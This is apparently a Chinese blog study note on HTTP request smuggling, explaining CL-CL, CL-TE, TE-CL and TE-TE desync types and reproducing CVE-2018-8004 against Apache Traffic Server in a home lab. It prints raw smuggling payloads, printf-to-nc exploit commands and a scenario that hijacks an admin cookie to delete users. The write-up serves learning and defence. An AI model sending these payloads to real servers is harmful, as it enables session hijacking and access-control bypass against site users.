HTTP请求走私初识

本文参考协议层的攻击——HTTP请求走私
这篇文章来自于我今天复现了CVE-2021-33037,其中提到了一个概念就是http协议走私,于是乎我找了资料学习了一下这个协议走私的内容。不得不说这个攻击是真牛皮!!!
我总结,这个漏洞存在的主要原因是因为在http1.1引入的长连接keep-alive与pipline的概念。长连接允许多个请求复用同一个tcp连接,不必每个请求重新建立连接,大大节约了服务器资源,pipline使得http的请求不必等到响应之后在发起,而可以流式得发起请求,请求到达服务端后仍然通过排队的方式进行处理。正是这两个概念导致了我们今天要讲的问题,当然还有另外重要的一点就是,关于服务器在处理te与cl时存在的差异导致了这个问题。
当今的网络负载均衡技术被广泛使用,负载均衡服务器在整个系统中起到一个分流的作用,其使用的技术是反向代理的技术,讲纸箱负载军泵服务器的流量通过各种特征分配到不同的服务器上进行响应,因为负载均衡服务器与后端实际处理请求的服务器对于http请求的处理差异导致了该漏洞,下面我们来具体解释

一、http请求走私的类型

1.1 cl不为0的get请求

当我们发送一个content-lenght长度不为0的get请求的时候,像下面这样

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n

GET / secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

44是请求体的长度共44个字节。如果负载均衡服务器能够正常识别content-length,第二个get后面的内容讲被当做请求体发送到某一个服务器,如果这个服务器不能识别get请求中的content-length,那么cl就会被忽略,第二个get后面的内容因为keep-alive与pipline存在的原因会被当做一个新的请求。这个请求就像走私一样瞒过了负载均衡服务器这个海关,最终到达了目的地被解析。

1.2 cl-cl

如果一个http请求中存在两个cl,那么如果中间代理服务器与后端处理服务器对着两个cl的解析顺序不一样的话就可能导致http走私。
看下面的代码

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

如果中间代理服务器解析第1个cl,那么它会将

12345\r\n
a

当做请求体,整个请求被发送到后端处理服务器,如果后端的处理服务器识别的是第二个cl那么他识别到的请求体就是

12345\r\n

这样的话a就被空出来了,有因为a后面是没有\r\n的,那么它将被当做一个不完整的请求,所以服务器这时候会等待这个请求被传输完毕,如果此时有一个新的正常的请求进来了,那么服务器将识别这个请求像下面这样子

aGET /index.html HTTP/1.1\r\n
Host: example.com\r\n

很明显这是一个错误的请求方法,这导致了正常用户的请求失败。

1.3 cl-te

cl-te就是中间代理服务器处理cl忽略te,后端处理te忽略cl,我们看下面这样一个请求

POST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G

中间代理服务器处理cl为6正好是

0\r\n
\r\n
G

所以上面的请求会被完整得发送到后端处理,后端在处理的时候会忽略cl,处理te,那么请求体重的0表示分段的结束,这里可以去看一下chunk的格式。那么此时G就单出来了,接下来和上面cl-cl的原理一样,下一个正常请求过来的时候,将会与g进行拼接形成一个错误的请求方法。这样攻击就完成了。

1.4 te-cl

一样的原理,中间代理服务器处理te,后端处理cl,看下面的代码

POST / HTTP/1.1\r\n
Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
31\r\n
POST / HTTP/1.1\r\n
Host:127.0.0.1\r\n
\r\n
0\r\n
\r\n

中间代理服务器正常识别分段信息,第一个分段31个字节,然后读到0认为分段传输完成了,讲请求完整发送到后端,后端处理的时候处理cl不处理te,这时候cl为4所以只读取请求体到31\r\n就完了,设下的部分被当做另外一个请求,这第二个请求可以被用来请求一些只能在本地被访问的资源。

1.5 te-te

对te进行混淆,使得中间代理服务器或者后端服务器某一个不处理te,从而达到te-cl或者cl-te的效果,看下面的代码

POST / HTTP/1.1\r\n
Host: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

这就是一个变形的te-cl的例子。

二、http走私实例-CVE-2018-8004

漏洞环境:Apache ATS 6.0.0版本至6.2.2版本和7.0.0版本至7.1.3版本

2.1 测试环境搭建

我们需要一台中间代理服务器,这里使用apache traffic server,两台处理服务器,一个lnmp架构,一个lamp架构

2.1.1 ats安装

源码下载看原文吧,不想写了
源码地址

https://github.com/apache/trafficserver/archive/7.1.2.tar.gz

环境安装

apt-get install -y autoconf automake libtool pkg-config libmodule-install-perl gcc libssl-dev libpcre3-dev libcap-dev libhwloc-dev libncurses5-dev libcurl4-openssl-dev flex tcl-dev net-tools vim curl wget

编译安装

autoreconf -if
./configure --prefix=/opt/ts-712
make
make install

开启反向代理,编辑records.config

vim /opt/ts-712/etc/trafficserver/records.config

CONFIG proxy.config.http.cache.http INT 0 # 关闭缓存
CONFIG proxy.config.reverse_proxy.enabled INT 1 # 启用反向代理
CONFIG proxy.config.url_remap.remap_required INT 1 # 限制ats仅能访问map表中映射的地址
CONFIG proxy.config.http.server_ports STRING 80 80:ipv6 # 监听在本地80端口

配置映射,编辑remap.config

vim /opt/ts-712/etc/trafficserver/remap.config

map http://lnmp.test.com/ http://192.168.0.103:8080/
map http://lamp.test.com/ http://192.168.0.103:80/

反向代理配置好之后,记得去攻击机的hosts文件中添加两条解析记录lnmp与lamp的都指向方向代理服务器所在机器。
然后就可已启动ats了,进入ats的安装目录下面的bin文件夹里面执行

./trafficserver start

然后我就发现这样启动不行,查询80端口发现根本就没有启动,经过我不懈努力终于发现一个方法,同样的崽bin目录下执行

./traffic_server

不过这样启动的服务要不了多久就会自动挂掉,也不知道到底该怎么启动,烦啊!!!!每做一个实验就得重新启动一次,无语!!

2.1.2 apache+php

这个就比较简单了,我就不讲了

2.1.3 ngix+php

这个我们整过,记录一下
首先上官网下载一个ngix,然后修改它的配置文件
在这里插入图片描述
像这样,凡是.php结尾的全部扔给9000端口,php-cgi监听在9000端口。然后让你的nginx跑起来
在你的php的bin目录下面执行

php-cgi.exe -b 127.0.0.1:9000

这样你的php-cgi就跑起来了,但是还不够,你还得设置php文件的存放目录,在php.ini中找到doc_root修改一下
在这里插入图片描述
就像这样,然后把你的php文件扔进去就好了

2.1.4 php代码

下面的代码将会打印请求头部信息
lnmp

<?php
echo 'This is Nginx<br>';
if (!function_exists('getallheaders')) {

    function getallheaders() {
        $headers = array();
        foreach ($_SERVER as $name => $value) {
            if (substr($name, 0, 5) == 'HTTP_') {
                $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
            }
        }
        return $headers;
    }

}
var_dump(getallheaders());
$data = file_get_contents("php://input");
print_r($data);

lamp

<?php
echo 'This is LAMP:80<br>';
var_dump(getallheaders());
$data = file_get_contents("php://input");
print_r($data);

2.2 利用方式一

当content-length字段与冒号之间有空格的时候,ats能够争取解析,但按照国际标准这样是不合法的,严格按照rfc标准的服务器是不能正确解析的,所以会葫芦这个值。看下面一个请求

GET /test.php HTTP/1.1
Host: lnmp.test.com
Content-Length : 61

GET /test.php HTTP/1.1
Host: lnmp.test.com
attack: 1
foo: 

用wireshrk看看请求是什么样的
在这里插入图片描述
可以看到,发起了两次请求,但是这样会造成什么危害呢?当然有的。我们仔细观察第二个请求,他的最后是没有\r\n的,这也就意味着此时第二个请求还没有接收完成,当下一个请求来的时候,就会直接拼接到后面,我们看一下我发送两次请求之后使用weireshark看一看请求的样子
在这里插入图片描述
与我们分析的一致,如果后面拼接的不是我们自己的请求呢?假设这样一个情境,现在该网站有一个删除用户的功能,但是必须要管理员身份才能实现,那么我们就可以利用http走私进行cookie劫持,假如有这样一个页面

<?php
if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == 1){
    echo "You are Admin\n";
    if(isset($_GET['del'])){
        echo 'del user ' . $_GET['del'];
    }
}else{
    echo "You are not Admin";
}

首先我们还是构造我们的异常请求发送一次,
在这里插入图片描述

然后模拟一个管理员正常登录的情况,
在这里插入图片描述

这个请求刚好拼接到我们异常请求的后面于是就有了这样的最终请求
在这里插入图片描述
可以看到第二次正常的请求和前一个请求发生了拼接,成为了

GET /admin.php?del=armandhe HTTP/1.1
Host: lnmp.test.com
attack: 1
foo: GET /admin.php HTTP/1.1
Host: 192.168.0.103:8080
Cookie: admin=1
X-Forwarded-For: 192.168.248.1
Via: http/1.1 kali[a0d1ae7d-93e1-44a9-8c37-9be96fde3881] (ApacheTrafficServer/7.1.2)

这样我们就伪造了admin的身份删除了用户armandhe。但是,这儿的实验我没有成功,究其原因我发现是这里有两个host互相发生了干扰,我们得删除一个才能生效。这就很尴尬了,这两个在正常的请求中任何一个都是不能删除的,也就是我这个漏洞我的利用失败了。

2.3 利用方式二

这个利用的是ats在请求头红碰到\0会发生截断,直接返回400错误,但是连接却不会中断。看下面的请求

printf 'GET /test.php HTTP/1.1\r\n'\
'Host: lamp.test.com\r\n'\
'aa: \0bb\r\n'\
'foo: bar\r\n'\
'GET /2333 HTTP/1.1\r\n'\
'Host: lamp.test.com\r\n'\
'\r\n'\
| nc 192.168.248.142 80

这个请求ats在处理的时候,碰到了\0于是会发生截断,直接返回400错误,后面剩下的部分就是

'foo: bar\r\n'\
'GET /2333 HTTP/1.1\r\n'\
'Host: lamp.test.com\r\n'\
'\r\n'\

这一段是不符合http请求的规范的于是乎也会返回400的错误,我们看一下响应结果
在这里插入图片描述
可以看到产生了两个400的响应
这时候我们在将我们的请求变形一下,将foo字段去掉,也就成了这样的请求

printf 'GET /test.php HTTP/1.1\r\n'\
'Host: lamp.test.com\r\n'\
'aa: \0bb\r\n'\
'GET /test.php HTTP/1.1\r\n'\
'Host: lamp.test.com\r\n'\
'\r\n'\
| nc 192.168.248.142 80

我们在看看结果
在这里插入图片描述
第一个请求400响应400,因为\0不符合规范,因为keep-alive与pipline的存在,后面的部分被当做了第二个请求也就是

'GET /test.php HTTP/1.1\r\n'\
'Host: lamp.test.com\r\n'\
'\r\n'\

很明显这是一个正确的请求,于是乎返回了200
我们接着构造这样的请求发起攻击

GET /test.phpHTTP/1.1\r\n
Host: lamp.test.com\r\n
aa: \0bb\r\n
GET http://lamp.test.com/test.php HTTP/1.1\r\n
\r\n
GET /404 HTTP/1.1\r\n
Host: lamp.test.com\r\n
\r\n

这里面有两个http请求,分别是

GET /test.phpHTTP/1.1\r\n
Host: lamp.test.com\r\n
aa: \0bb\r\n
GET http://lamp.test.com/test.php HTTP/1.1\r\n
\r\n

GET /404 HTTP/1.1\r\n
Host: lamp.test.com\r\n
\r\n

但ats在识别第一个请求的时候碰到了\0,所以直接返回400,接着是

GET http://lamp.test.com/test.php HTTP/1.1\r\n
\r\n

这会被当做一个新的请求,返回200
然后是最后一个请求应为404资源不存在所以会返回404,我们只发送了两个请求却返回了3个响应,我们验证一下
在这里插入图片描述
这时候如果有一个新的请求进来,它获得的响应就是我们的第二个响应。当然,我的实验没有成功,一般操作了!!!

2.4 利用方式三

cl-te类型的http请求走私,看下面的请求

GET / HTTP/1.1
Host: lnmp.test.com
Content-Length: 83
Transfer-Encoding: chunked

0

GET /admin.php?del=mengchen HTTP/1.1
Host: lnmp.test.com
attack: 1
foo:


注意尾部的两个空行。都懂什么意思吧?然后我们看看wireshark抓包的结果
在这里插入图片描述
回来了两个请求,这里注意一下箭头部分,虽然是404但是,响应的内容是正确的。
这时候我们开始进行cookie窃取了,首先发送我们的恶意请求
在这里插入图片描述
注意这时候foo后面是没有空行的。
然后发送正常的访问管理员界面请求
在这里插入图片描述
然后我们看看wireshark,发生了请求的拼接!!,cooke被我们劫持了。
在这里插入图片描述
看看响应
在这里插入图片描述
这里有两个响应,第二个请求响应了404,好尴尬,让我看看为什么!!!
我们把第二个请求复制到burpsuite里面重发一下
在这里插入图片描述
经过我的测试,是因为有两个host的原因导致的!!!
熬不住了,就写这么多吧,我先把剩下的文章看完!!!

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值